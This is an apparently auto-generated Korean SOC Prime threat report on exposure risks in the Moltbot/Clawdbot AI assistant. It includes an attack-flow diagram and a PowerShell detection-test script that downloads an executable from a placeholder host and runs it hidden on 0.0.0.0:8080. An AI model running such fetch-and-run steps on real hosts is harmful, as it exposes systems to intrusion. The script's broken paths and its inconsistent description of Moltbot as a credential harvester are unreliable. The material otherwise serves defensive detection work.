SOC Prime Bias: 심각

28 1월 2026 13:13

Moltbot / ClawdBots 전염병

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
Moltbot / ClawdBots 전염병
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 처음 Clawdbot으로 브랜드화되었다가 나중에 Moltbot으로 이름이 바뀐 AI 개인 비서와 관련된 보안 문제를 지적합니다. Moltbot은 WhatsApp과 Telegram 같은 메시징 앱을 통해 운영되지만, 내외부에서 접근 가능하며 인증이 약하거나 없는 경우가 많습니다. 사용자 인증 정보를 평문 파일에 저장하며, 스킬 라이브러리가 오염돼 공급망 노출을 일으킬 수 있습니다. 위협 행위자가 비밀을 훔치고 소스 코드를 빼내며 비서를 백도어로 재사용할 수 있습니다.

조사

연구원들은 인증되지 않은 관리 포트와 안전하지 않은 프록시 설정을 노출한 수백 개의 Moltbot 인스턴스를 발견했습니다. 공급망 공격의 증명된 개념이 ClawdHub 라이브러리에 악성 스킬을 업로드하여 하위 사용자에 대한 원격 명령 실행을 시연했습니다. 분석가들은 또한 비밀이 평문으로 Markdown 및 JSON 파일에 저장되어 RedLine, Lumma, Vidar와 같은 정보 탈취자들에게 쉽게 노출된다는 것을 관찰했습니다.

완화

운영자는 모든 Moltbot 서비스에 대해 강력한 인증을 요구하고, 관리 포트를 닫거나 방화벽을 설정하고, 비서를 인터넷에 노출시키지 않아야 합니다. 저장된 비밀에 대한 암호화를 사용하고, 실행 환경을 샌드박스화하거나 컨테이너화하며, 파일 시스템 접근을 제한하십시오. 라이브러리에서 가져온 모든 스킬을 검사하고 서명하거나 고정하며, 안전하게 관리할 수 없는 경우 스킬 기능을 비활성화하는 것을 고려하십시오.

대응

열린 관리 포트와 인증되지 않은 Moltbot 접근 시도를 경고합니다. AI 프로세스를 예기치 않은 명령 실행 및 알려지지 않은 C2 도메인에 대한 아웃바운드 간 연결을 모니터링하십시오. 호스트를 스캔하여 자격 증명 탈취 악성 소프트웨어를 찾아내고 저장된 구성 파일의 무결성을 검증하십시오. 침해가 확인되면 시스템을 격리하고 노출된 자격 증명을 철회하며 더 강력한 설정으로 Moltbot을 재배포하십시오.

%% Class Definitions classDef technique fill:#ffcc99 classDef actor fill:#99ff99 classDef asset fill:#ccccff classDef process fill:#ff9999 %% Nodes actor_attacker[“<b>행위자</b>: 공격자”] class actor_attacker actor asset_moltbot[“<b>자산</b>: Moltbot 인스턴스<br/><b>노출</b>: 인증 없이 관리자 포트 접근 가능”] class asset_moltbot asset tech_external_remote[“<b>기술</b> – T1133: 외부 원격 서비스<br/><b>설명</b>: 공개된 원격 서비스를 사용하여 초기 접근 권한을 획득함”] class tech_external_remote technique tech_exploit_remote[“<b>기술</b> – T1210: 원격 서비스 악용<br/><b>설명</b>: 원격 서비스의 취약점 또는 잘못된 설정을 악용하여 명령을 실행함”] class tech_exploit_remote technique tech_remote_access[“<b>기술</b> – T1219: 원격 접근 도구<br/><b>설명</b>: 침해된 호스트에서 추가 명령을 실행하기 위해 원격 접근 기능을 사용함”] class tech_remote_access technique tech_hijack_execution[“<b>기술</b> – T1574: 실행 흐름 하이재킹<br/><b>설명</b>: 스킬 라이브러리와 같은 신뢰된 구성 요소를 오염시켜 실행 흐름을 조작함”] class tech_hijack_execution technique asset_malicious_skill[“<b>자산</b>: 악성 스킬<br/><b>위치</b>: ClawHub 스킬 라이브러리”] class asset_malicious_skill asset tech_content_injection[“<b>기술</b> – T1659: 콘텐츠 삽입<br/><b>설명</b>: 정상 콘텐츠에 악성 코드를 삽입하여 피해자가 실행하도록 함”] class tech_content_injection technique process_payload[“<b>프로세스</b>: 악성 페이로드<br/><b>동작</b>: 피해자의 Moltbot 호스트에서 실행됨”] class process_payload process tech_credentials_files[“<b>기술</b> – T1552.001: 파일 내 자격 증명<br/><b>설명</b>: JSON 또는 Markdown 파일에 저장된 평문 자격 증명에 접근함”] class tech_credentials_files technique tech_system_services[“<b>기술</b> – T1569: 시스템 서비스<br/><b>설명</b>: 지속성과 실행을 위해 악성 코드를 시스템 서비스로 등록함”] class tech_system_services technique asset_c2_server[“<b>자산</b>: 공격자 C2 서버<br/><b>역할</b>: 실행 확인 및 탈취된 자격 증명을 수신함”] class asset_c2_server asset tech_exfiltration[“<b>기술</b> – T1041: C2 채널을 통한 데이터 유출<br/><b>설명</b>: 설정된 명령 및 제어 채널을 통해 탈취한 데이터를 공격자에게 전송함”] class tech_exfiltration technique %% Connections actor_attacker –>|발견함| asset_moltbot asset_moltbot –>|허용함| tech_external_remote tech_external_remote –>|이어짐| tech_exploit_remote tech_exploit_remote –>|사용함| tech_remote_access tech_remote_access –>|실행함| tech_hijack_execution tech_hijack_execution –>|오염시킴| asset_malicious_skill asset_malicious_skill –>|코드를 삽입함| tech_content_injection tech_content_injection –>|전달함| process_payload process_payload –>|읽음| tech_credentials_files tech_credentials_files –>|데이터를 제공함| tech_system_services tech_system_services –>|지속성을 유지하고 실행함| process_payload process_payload –>|연결함| asset_c2_server asset_c2_server –>|데이터를 수신함| tech_exfiltration

공격 흐름

시뮬레이션 실행

전제 조건: 텔레메트리 및 베이스라인 사전 점검 통과가 필요합니다.

  • 공격 서사 및 명령:
    레드 팀 배포 Moltbot (공개적으로 사용 가능한 자격 증명 수집 도구)을 손상된 Windows 호스트에 배포합니다. Moltbot을 기본 설정으로 시작함으로써 인증되지 않은 HTTP 관리 콘솔을 포트 8080 에서 실행하여 배너에 “웹에 노출됨”을 광고합니다. 이는 탐지 규칙의 리터럴 문자열과 일치하는 네트워크 연결 이벤트를 생성합니다. 공격자는 외부 IP에서 UI에 접속하여 노출을 확인함으로써 필요한 텔레메트리를 생성합니다.

    1. Moltbot 다운로드(플레이스홀더 zip으로 시뮬레이션).
    2. 기본 플래그로 바이너리를 압축 해제 및 실행 (--listen 0.0.0.0:8080).
    3. 선택적으로 외부 IP에서 HTTP GET 요청 발행 ( Invoke-WebRequest).
  • 회귀 테스트 스크립트:

    # ----------------------------------------------------
    # Moltbot 노출 시뮬레이션 - PowerShell
    # ----------------------------------------------------
    # 1. 임시 디렉터리 생성
    $tempDir = "$env:TEMPMoltbotSim"
    New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
    
    # 2. Moltbot 실행 파일 다운로드 시뮬레이션 (플레이스홀더)
    $molExe = "$tempDirmolbot.exe"
    Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
    
    # 3. 기본 (노출된) 설정으로 Moltbot 실행
    $proc = Start-Process -FilePath $molExe `
                          -ArgumentList "--listen 0.0.0.0:8080" `
                          -PassThru `
                          -WindowStyle Hidden
    
    Write-Host "[+] Moltbot 시작 (PID: $($proc.Id)) 0.0.0.0:8080에서 대기 중"
    
    # 4. 서비스 로그 등록을 위한 짧은 시간 대기
    Start-Sleep -Seconds 5
    
    # 5. 네트워크 트래픽 생성을 위한 외부 연결 시뮬레이션
    Try {
        Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
        Write-Host "[+] Moltbot UI로 외부 HTTP 요청 전송됨."
    } Catch {
        Write-Warning "[-] Moltbot UI에 도달할 수 없음 (방화벽에 의해 차단될 수 있음)."
    }
    
    # 6. 추가 로그 생성을 위해 프로세스 유지 (옵션)
    Start-Sleep -Seconds 20
    
    # 7. 정리 – Moltbot 종료
    Stop-Process -Id $proc.Id -Force
    Remove-Item -Recurse -Force $tempDir
    Write-Host "[+] Moltbot 시뮬레이션 완료 및 정리됨."
  • 정리 명령:

    # 남아있는 Moltbot 프로세스를 강제로 종료하고 임시 파일 삭제
    Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
    Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
    Write-Host "정리 완료."